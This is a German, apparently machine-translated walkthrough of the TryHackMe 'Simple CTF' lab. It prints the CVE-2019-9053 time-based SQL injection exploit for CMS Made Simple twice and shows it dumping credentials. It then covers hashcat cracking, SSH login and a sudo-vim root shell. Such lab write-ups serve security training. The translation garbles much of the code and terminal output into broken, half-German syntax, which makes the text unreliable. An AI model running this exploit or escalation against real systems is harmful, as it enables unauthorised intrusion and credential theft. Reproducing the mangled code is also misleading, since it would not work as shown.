Dieses Mal nutzen wir die CVE-2019-9053: CMS: SQL Injection-Anfälligkeit von Simple, um die Zielmaschine zu infiltrieren und sogar Privilegien zu eskalieren.
Die Zielmaschine verwendet https://tryhackme.com/room/easyctf




Einfacher CTF
Wählen Sie zunächst Startmaschine aus und stellen Sie die Zielmaschine bereit.

Es ist in Ordnung, wenn die IP -Adresse wie unten gezeigt angezeigt wird.

Wie viele Dienste werden unter Port 1000 ausgeführt?
Wie viele Dienste werden auf Ports unter 1000 ausgeführt? Sie werden gefragt, also lass uns auf NMAP nachschlagen.
- -SV: Service- und Versionserkennung
- -Sc: Scannen Sie mit Standardskript.
- -SS: TCP Syn Scan/TCP -Halb -Scan (es wird häufig nicht protokolliert, da es beim Abschluss einer Verbindung keine ACK zurückgibt, sondern eine SYN -RST zurückgibt und die Verbindung abbricht, ohne sie zu vervollständigen).
root@ip-10-10-242-201: ~# nmap -sv -Sc -SS 10.10.25.17 Start NMAP 7.60 (https://nmap.org) unter 2023-05-27 05:28 BST NMAP-Scan-Bericht für IP-10-10-10-25-17.EU-West-1. Latenz). Nicht gezeigt: 997 gefilterte Ports Port State Service Version 21/TCP Open FTP VSFTPD 3.0.3 | FTP-Anon: Anonymous FTP-Login erlaubt (FTP-Code 230) | _ kann keine Verzeichnisliste erhalten: Timeout | FTP-System: | Stat: | FTP -Serverstatus: | Verbunden mit :: ffff: 10.10.242.201 | Angemeldet als FTP | Typ: ASCII | Keine Session -Bandbreitengrenze | Sitzungszeitlimit in Sekunden beträgt 300 | Steuerverbindung ist einfacher Text | Datenverbindungen sind einfacher Text | Beim Start der Sitzung betrug die Kundenzahl 2 | VSFTPD 3.0.3 - Sicher, schnell, stabil | _end des Status 80/TCP Öffnen Sie Http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 2 unzulässige Einträge | _//openEMR-5_0_1_3 | _htttp-server-header: Apache/2.4.18 (Ubuntu) | _http-Title: Apache2 Ubuntu Default Seite: Es funktioniert 2222/TCP OpenSshs. 7.2p2 uBuntu 4022/tcp open SSH OPENSSHS. Linux; SSH-Hostkey: | 2048 29: 42: 69: 14: 9E: CA: D9: 17: 98: 8C: 27: 72: 3a: CD: A9: 23 (RSA) | 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA) |_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (EdDSA) MAC Address: 02: 6B: 87: 7C: 52: A7 (unbekannt) Service Info: OSS: UNIX, Linux; CPE: CPE:/O: Linux: Linux_kernel Service -Erkennung durchgeführt. Bitte melden Sie falsche Ergebnisse unter https://nmap.org/submit/. NMAP Fertig: 1 IP -Adresse (1 Host -Up) in 53,55 Sekunden gescannt
Die drei Dienste, die erkannt wurden, waren wie folgt:
- 21: FTP
- 80: Http
- 2222: ssh
Antwort
Es stellt sich heraus, dass zwei Dienste unter 1000 dienen.

Was läuft am höheren Port?
Sie werden gefragt, was auf Ports über 1000 ausführt. Aus den Ergebnissen von NMAP oben können wir sehen, dass es sich um "SSH" handelt. (Beachten Sie, dass SSH keine Nummer 22 ist.)
Antwort

Was ist der CVE, den Sie gegen die Anwendung verwenden?
Sie wurden gefragt, welche Schwachstellen sie haben.
Im Moment ist HTTP offen, also mal sehen, was es in Gobuster ist.
root@ip-10-10What is running on the higher port?-242-201:~# gobuster dir -e -u http://10.10.25.17 -w /usr/share/dirb/wordlists/common.txt ==== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) ==== [+] URL: http://10.10.25.17 [+] Threads: 10 [+] WordList: /usr/share/dirb/wordlists/common.txt [+] Statuscodes: 200,204,301,302,307,401,403 [+] user Agent: GoBuster: GoBuster/3.0.1 [+]. ==== 2023/05/27 05:49:38 Start Gobuster ==== http://10.10.25.17/.hta (Status: 403) http://10.10.25.17/.htpasswd (Status: 403) http:/10.10.10.10.25.17/.htacning (Status: 403 ).10.10.25.17/.htacness (Status: 403 ).10.10.25.17/.htaccess (status: 403) http://10.10.25.17/index.html (Status: 200) http://10.10.25.17/robots.txt (Status: 200) http://10.10.25.17/server-status (Status: 403) http://10.10.25.17/simple (Status: 301) ===== 2023/05/27 05:49:40 fertig ====
Ich denke, derjenige, der verdächtig aussieht, ist "http://10.10.25.17/simple".
Ich werde ein bisschen einen Blick darauf werfen.


Es scheint, dass "CMS Made Simple Version 2.2.8" ausgeführt wird.
Ich werde das untersuchen, um zu sehen, ob es sich um Schwachstellen handelt.
Nach der Suche nach einer anfälligen in CMS MAD MAIT MAURTE 2.2.8 auf Exploit DB stellte ich fest, dass " CVE-2019-9053 " gefangen wurde.

Antwort

Zu welcher Art von Verwundbarkeit ist die Anwendung anfällig?
Dies ist eine SQL-Injektion nach Betrachtung des Inhalts von CVE-2019-9053.
Antwort
Ich wusste nicht, wie man es schreibt, also ist es in Ordnung. . .

Was ist das Passwort?
Sie werden nach Ihrem Passwort gefragt. Versuchen Sie also, es wie in Exploit DB angegeben.
Es sieht aus wie Python, also werde ich die Datei herunterladen.
root@ip-10-10-242-201: ~# WGet https://www.exploit-db.com/download/46635 -o-exploit.py --2023-05-27 06: 27: 37-- https://www.exploit-db.com/download (www.exploit-db.com) ... 192.124.249.13 Verbindung zu www.exploit-db.com (www.exploit-db.com) | 192.124.249.13 |: 443 ... verbunden. HTTP request sent, awaiting response... 200 OK Length: 6456 (6.3K) [application/txt] Saving to: \u2018exploit.py\u2019 exploit.py 100%[====>] 6.30K --.-KB/s in 0s 2023-05-27 06:27:37 (140 MB/s) - \ u2018exploit.py \ u2019 gespeichert [6456/6456]
Der Inhalt des Codes sieht so aus: Eine detaillierte Erklärung wird hier weggelassen.
root@ip-10-10-242-201:~# cat exploit.py #!/usr/bin/env python # Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9 # Date: 30-03-2019 # Exploit Author: Daniele Scanu @ Certimeter Group # Vendor Homepage: https://www.cmsmadesimple.org/ # Software Link: https://www.cmsmadesimple.org/downloads/cmsms/ # Version: <= 2.2.9 # Tested on: Ubuntu 18.04 LTS # CVE : CVE-2019-9053 import requests from termcolor import colored import time from termcolor import cprint import optparse import hashlib parser = optParse.optionParser () parser.add_option ('-u', '--url', action = "store", dest = "url", help = "base target uri (ex. Crack admin Passwort ") parser.add_option ('-c', '-crack', action =" store_true ", dest =" cracking ", help =" crack password mit wordlist ", default = false) optionen, args = parser.parse_args () Wenn nicht Optionen.Url: Druck: Drucken" [+] Spezifizieren Sie ein UR-Ziel "[+]. http: // target-uri "print" [+] Beispiel Verwendung (mit Cracking-Passwort): exploit.py -U http: // target-uri-crack -w/path-wordlist "drucken" [+] Richten Sie die variable Zeit mit einer geeigneten Zeit ein, da diese SQL-Injektion eine zeitbasierte Zeit ist. " exit () url_vuln = options.url + '/moduleInterface.php?mact=news, m1_,default,0' session "" temp_password = "" time = 1 db_name = "" output = "" mail = "" salt = 'wordlist = "" Wenn Optionen.Wordlist: WordList += Optionen.Wordlist def crack_password (): globales kennwort global output Global WordList Global Salt Dict = Öffnen (Wordlist) für Linie in Dict.Readlines (): Line = Line). Hashlib.md5 (str (salz) + line) .hexDigest () == Passwort: Ausgabe + = "\ n [ +] Passwort geknackt:" + Zeilen Break dict.CLOSE () DEF Beauty_print_try (Wert): globaler Ausgangsdruck "\ 033c" CPrint (Ausgabe, Green ', attrs = [' Bold '] cPrint (rot']) cPrint (rot ']) cprint (rot']) cprint (rot '] cprint (rot'] cprint (rot ']) attrs = ['BOLD']) DEF Beauty_print (): Global Output Print "\ 033c" CPrint (Ausgabe, 'grün', attrs = ['BOLD']) Def Dump_Salt (): globales Flaggungs -Global Salt Global Output ord_SALT = "ord_salt_temp =" "wob Dictionary [i] ord_salt_temp = ord_salt+hex (ord (Dictionary [i]) [2:] Beauty_print_try (temp_Salt) Payload = "A, B, 1,5))+und+(Select+Sleep ("+Str (Zeit)+")+aus+cms_Siteprefs+, wob ord_salt_temp+"25+und+sitepref_name+gleich+0x736974656d61736b)+-+" url = url_vuln+"& m1_idlist ="+payload start_time Flag: Salt = temp_Salt ord_SALT = ord_salt_temp flag = true output + = '\ n [ +] Salz für Kennwort gefunden:' + salde def dump_password (): Globales Flag Global Passwort Globales Kennwort global Ausgang ord_password = "ord_password_temp =" "wob ord_password_temp = ord_password+hex (ord (Dictionary [i]) [2:] Beauty_print_try (temp_password) payload = "A, B, 1,5))+und+(select+sleep ("+st (Zeit)+")+aus+cms_users" payload+= "where+password+kennwort+gleich+0x"+0x "+0x"+ordword_tem- "25+und+user_id+gleich+0x31)+-+" url = url_vuln+"& m1_idlist ="+payload start_time = time '\ n [ +] Passwort gefunden:' + Passwort def dump_username (): globales flag global db_name global output ord_db_name = "ord_db_name_temp =" "wob +hex (ord (Dictionary [i]) [2:] Beauty_print_try (temp_db_name) payload = "A, B, 1,5)+und+(Select+Sleep ("+str (Zeit)+")+von+cms_users+wobei+username+0x"+0x 2)-ort_db_name_name_tem_tem_temp+"25+und+usw.+0x31)-Name_Name_tem_tem_tem_tem_tem_temp+" 25+und+user usw+usw_db_name_tem_tem_tem_tem_tem_tem_tem_tem_tem_tem_tem_tem_tem+"25+und+user_ teufe us+0x url = url_vuln + "& m1_idlist =" + payload start_time = time.time () r = session.get (url) leftsed_time = time gefunden: ' + db_name flag = true def Dump_email (): globales Flag Global E -Mail Global Ausgabe ord_email = "ord_email_temp =" "wob Beauty_print_try (temp_email) payload = "a, b, 1,5))+und+(select+sleep ("+str (Zeit)+")+von+cms_users+wobei+E-Mail+gleich+0x"+ord_email_temp+"25+und+user_id+gleiche+0x31)+-+" url_vul_vul_vuln+" time.time () r = session.get (url) lepsed_time = time.time () - start_time if tedsed_time> = time: flag = true break Wenn Flag: E -Mail = temp_email ord_email = ord_email Ausgabe += '\ n [ +] E -Mail gefunden:' +E -Mail = true_sAntem: doppelpack (). Drucken farbig ("[*] Versuchen Sie jetzt, das Passwort zu knacken") crack_password () Beauty_print ()
In meiner Umgebung funktioniert es nur Python3, also werde ich den Code ein wenig umschreiben. (Nicht für Python2 erforderlich.)
Die Druck- und Codierungsteile unterliegen der Änderung.
- Drucken Sie "" ⇒ Druck ("")
- Öffnen Sie (WordList) ⇒ Öffnen (WordList, coding = ”UTF-8 ″, ERSTALLE =" Ignorieren ").
- Hashlib.md5 (Str (Salz) + Linie) .HexDigest () ⇒ Hashlib.md5 ((Str (salz) + Linie) .Codode ("utf-8"). HexDigest ()
┌── (root㉿kali)-[~] └─ # cat exploit.py #!/Usr/env python # exploit Titel: Nicht authentifizierter SQL-Injektion auf CMS Made Simple <= 2.2.9 # Datum: 30-03-2019 # Exploit Autor: Daniele Scanu @ Certimetern-Gruppe # vendor HOHEPAGE: https://www.cmsmadesimple.org/ # Software Link: https://www.cmsmadesimple.org/downloads/cmsms/ # Version: <= 2.2.9 # getestet auf: Ubuntu 18.04 LTS-CVE # CVE-2019-9053 Importieren aus dem Import von tercolor. optParse Hashlib parser = optParse.optionParser () parser.add_option ('-u', '--url', action = "store", dest = "url", help = "Base Target uri (Ex. dest="wordlist", help="Wordlist for crack admin password") parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False) options, args = parser.parse_args() if not options.url: print("[+] Specify an url target") print("[+] Example usage (Kein Cracking -Passwort): exploit.py -u http: // target -uri ") print (" [+] Beispiel Verwendung (mit Cracking -Passwort): exploit.py -U http: // target -uri -crack -w/path -wordlist ") drucken (" [+] Setup Die Variable -Zeit mit einer angemessenen Zeit, in der eine angemessene Zeit mit einer Zeit, in der eine SQL -Injection, eine Zeit, die eine Zeit basiert. options.url + '/moduleInterface.php?macT=News,m1_,default,0' Session Time = 1 db_name = "" output = "" mail = "" salp = '' wordList = "" if option.wordlist: wordlist += options.wordlist def crack_password (): globales kennwort global wordlist global salt dict = open (wordlist, coding = "utf-8", line beauty_print_try(line) if hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest() == password: output += "\n[+] Password cracked: " + line break dict.close() def beauty_print_try(value): global output print ("\033c") cprint(output,'green', attrs = ['Bold']) cprint ('[*] try:' + value, 'rot', attrs = ['BOLD']) Def Beauty_print (): Global Output Print ("\ 033c") CPrint (Ausgabe, 'Green', attrs = ['BOLD']) DIPP_SALT (): Global Flagg Global Global AUTSALT = "WHLE FLAGGEGEBENDE GLODGE AUTLADE. i im Bereich (0, len (Wörterbuch)): temp_salt = salz + wörterbuch [i] ord_salt_temp = ord_salt + hex (ord (Dictionary [i])) [2:] Beauty_print_try (Temp_Salt) Payload = "A, B, 1,5) + und + (" (" + Str (Tim) (Tim) (Tim) (Tim) + (" + (" + ")+von+cms_sieprefs+wobei+sitepref_value+gleichen+0x"+ord_salt_temp+"25+und+sitepref_name+gleichen+0x736974656d61736b)+-+" url = url_vuln+"& m1_IDLIST =" & m1_IDLIST = "& m1_IDLIST =" & m1_Idlist = "). session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: salt = temp_salt ord_salt = ord_salt_temp flag = True output += '\n[+] Salt for password found: ' + salt def dump_password(): global flag global password global output ord_password = "" ord_password_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_password = password + dictionary[i] ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:] beauty_print_try(temp_password) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users" payload += "+wobei+password+gleich+0x"+ord_password_temp+"25+und+user_id+ähnlich+0x31)+-+" url = url_vuln+"& m1_idlist ="+payload start_time = time temp_password ord_password = ord_password_temp flag = true output += '\ n [ +] Passwort gefunden:' +password def dump_username (): Globales Flag Global DB_Name Global Ausgang ord_db_name = "ord_db_name_temp =" "while: flagname = false = db_name in range (0, lenn (0, len) (0, len (0, len)): len (0, len () (0, len () (0, len () (0, len () (0, len () (0, len () (0, len () (0, len () (0, len (0, len Dictionary [i] ord_db_name_temp = ord_db_name+hex (ord (Dictionary [i]) [2:] Beauty_print_try (temp_db_name) payload = "a, b, 1,5))+und+(Select+Sleep ("+Str (Time)+")+)+von+cms_users+cms_users+user+ ord_db_name_temp+"25+und+user_id+gleich+0x31)+-+" url = url_vuln+"& m1_idlist ="+payload start_time = time ord_db_name = ord_db_name_temp output += '\n[+] Username found: ' + db_name flag = True def dump_email(): global flag global email global output ord_email = "" ord_email_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_email = email + dictionary[i] ord_email_temp = ord_email+hex (ord (Dictionary [i]) [2:] Beauty_print_try (temp_email) payload = "a, b, 1,5))+und+(select+sleep ("+st (Zeit)+")+von+cms_users+where+E -Mail+Like+0x"+ord_Emil "+ord_Emil_t_temp+ "25+und+user_id+gleich+0x31)+-+" url = url_vuln+"& m1_idlist ="+payload start_time = time '\ n [ +] E -Mail gefunden:' + E -Mail -Flag = true Dump_Salt () DUPP_USERNAME () DUPP_EMAIL () DUPP_PASSWORD () Wenn Optionen.Cracking: print (farbig ("[*] Versuchen Sie jetzt, Passwort zu knacken") crack_password () Beauty_print ()
Jetzt, wo ich es korrigiert habe, versuchen wir es.
Ich stelle "Rockyou.txt" direkt in das Root -Verzeichnis, aber bitte geben Sie einen Pfad an, wie Rockyou.txt, der in Ihrer Umgebung liegt.
┌──(root㉿kali)-[~] └─# python3 exploit.py -u http://10.10.25.17/simple -c -w /root/rockyou.txt ... [+] Salt for password found: 1dac0d92e9fa6bb2 [+] Username found: mitch [+] Email found: admin@admin.com [+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96 [+] Passwort geknackt: Geheimnis
- Salz: 1DAC0D92E9FA6BB2
- Passwort (Hash): 0C01F4468BD75D7A84C7EB73846E8D96
- E -Mail: admin@admin.com
- Benutzername: Mitch
- Passwort (einfacher Text): Geheimnis
Ich habe meinen Benutzernamen und mein Passwort.
Wenn Sie -W einstellen, wird das Passwort aus Salz- und Passwort -Hash.
Sie können ähnliche Ergebnisse erzielen, indem Sie Salz und Passwort Hash mit Hashcat knacken. Ich denke, es ist eine gute Idee, sich auch an diese Methode zu erinnern.
┌º (root㉿kali) -[~] └─# Hashcat -o -a 0 -m 20 0c01f4468bd75d7a84c7eb73846e8d96: 1dac0d92E9fa6bb2 /root/rockyou.txt aploclyou.txt hastxt (v6.2.2) (v6.2.2). 3.0+debian linux, keine+asserts, reloc, llvm 13.0.1, sleef, distro, pocl_debug)-plattform #1 [Das POCL-Projekt] ==== * Gerät Nr. 1: pthread-unintel (r) xeon (r) cpu E5-2676 v3 @ 2.40ghz, 1441/2946 MB (512), 1441/2946 MB (512), 1441/2946 MB (512) 2mcu Mindestkennwortlänge unterstützt vom Kernel: 0 Maximale Passwortlänge von Kernel unterstützt: 31 Mindestsalzlänge von Kernel: 0 Maximale Salzlänge von Kernel: 51 Hashes: 1 Digests; 1 Eindeutige Verdauung, 1 einzigartige Salze Bitmaps: 16 Bits, 65536 Einträge, 0x0000ffff Maske, 262144 Bytes, 5/13 rotatiert Regeln: 1 Optimierer angewendet: * Optimierter Kernel * Null-Byte * Vorkomput-Init * Early-Sklip-Wechsel. auf Ihrem System. Watchdog: Temperaturabbruchauslöser deaktiviert. Hostspeicher für diesen Angriff erforderlich: 0 MB Wörterbuch Cache erstellt: * Dateiname ..: /root/rockyou.txt * Passwörter. 0C01F4468BD75D7A84C7EB73846E8D96: 1DAC0D92E9FA6BB2: Secret Session .... 0c01f4468bd75d7a84c7eb73846e8d96: 1dac0d92e9fa6bb2 Zeit. Id.base 512/14344384 (0,00%) abgelehnt ......: 0/512 (0,00%) restour.Point ....: 0/14344384 (0,00%) Wiederherstellen. 07:36:02 2023 Stopp: Sa 27. Mai 07:36:42 2023
Antwort

Wo können Sie sich mit den erhaltenen Details anmelden?
Die erhaltene Benutzer -ID und das erhaltene Kennwort können über SSH verwendet werden.
Antwort

Was ist das Benutzerflag?
Stellen Sie eine Verbindung über SSH her, um das Benutzerflag zu erhalten.
┌── (root㉿kali) -[~] └─# ssh Mitch@10.10.241.153 -p 2222 Die Authentizität des Hosts '[10.10.241.153]: 2222 ([10.10.241.153]: 2222)' kann nicht etabliert werden. ED25519 Key Fingerabdruck ist SHA256: IQ4F0XCNA5NNPaufeqopvtbo8dojpChggMeAbedq5g. Dieser Schlüssel ist in keinen anderen Namen bekannt. Sind Sie sicher, dass Sie sich weiter verbinden möchten (ja/nein/[Fingerabdruck])? Ja Warnung: Dauerhaft hinzugefügt '[10.10.241.153]: 2222' (ed25519) der Liste der bekannten Hosts. Mitch@10.10.241.153s Passwort: Willkommen bei Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-Generic i686) * Dokumentation: https://help.ubuntu.com * Management: https:/.cancape.canical.com * Support: htttps:/./BASTSCAPAGES.CANICAL. 0 Updates sind Sicherheitsaktualisierungen. Letzter Login: Mo 19. August 18:13:41 2019 von 192.168.0.190 $ Whoami Mitch
Sie haben es geschafft, sich mit SSH zu melden.
Ich glaube, ich konnte user.txt finden.
$ ls user.txt $ cat user.txt g00d j0b, Keep Up!
Antwort

Gibt es einen anderen Benutzer im Home -Verzeichnis? Wie heißt sie?
Es geht darum, was andere Benutzer gibt.
Schauen wir uns die Unterkontroller von "/home" an.
$ ls /home Mitch Sonnenbad
Es scheint einen Benutzer namens Sunbath zu geben.
Antwort

Was können Sie nutzen, um eine privilegierte Hülle zu erzeugen?
Von hier an werden wir unsere Privilegien eskalieren.
Verwenden Sie vorerst sudo -l, um zu sehen, was der aktuelle Benutzer tun kann.
$ sudo -l Benutzer Mitch kann die folgenden Befehle auf dem Computer ausführen: (root) nopasswd:/usr/bin/vim
Es scheint, dass Sie "/usr/bin/vim" ohne Passwort verwenden können.
Antwort

Was ist die Wurzelflagge?
Als ich in GTFOBINS nach einer privilegierten Hülle in Vim suchte, fand ich Folgendes:
Lassen Sie uns nun eine privilegierte Hülle erhalten.
$ sudo vim -c ':!/bin/sh' # whoami root
Erfolgreich eine privilegierte Hülle erworben. Die Erhöhung der Autorität war keine leichte Aufgabe.
Hier ist Root.txt unter /root, also überprüfen Sie das Flag und Sie sind fertig.
# CD /root # ls root.txt # cat root.txt w3ll D0N3. Du hast es geschafft!
Antwort

Zusammenfassung
Dieses Mal nutzten wir die CVE-2019-9053: CMS MADEL SPORTS SQL Injection Anlastabilität, um die Zielmaschine zu infiltrieren und sogar Privilegien zu eskalieren.
Einfache CTF richtet sich an Anfänger, daher gab es einige Teile, die gezwungen waren, aber ich denke, es war gut, dass ich es ohne Anstrengung tun konnte.
Referenzen und Websites
Medium (Skylar): https://medium.com/@skylarphenis/tryhackme-simple-ctf-walk-through-e8bb8c8671a9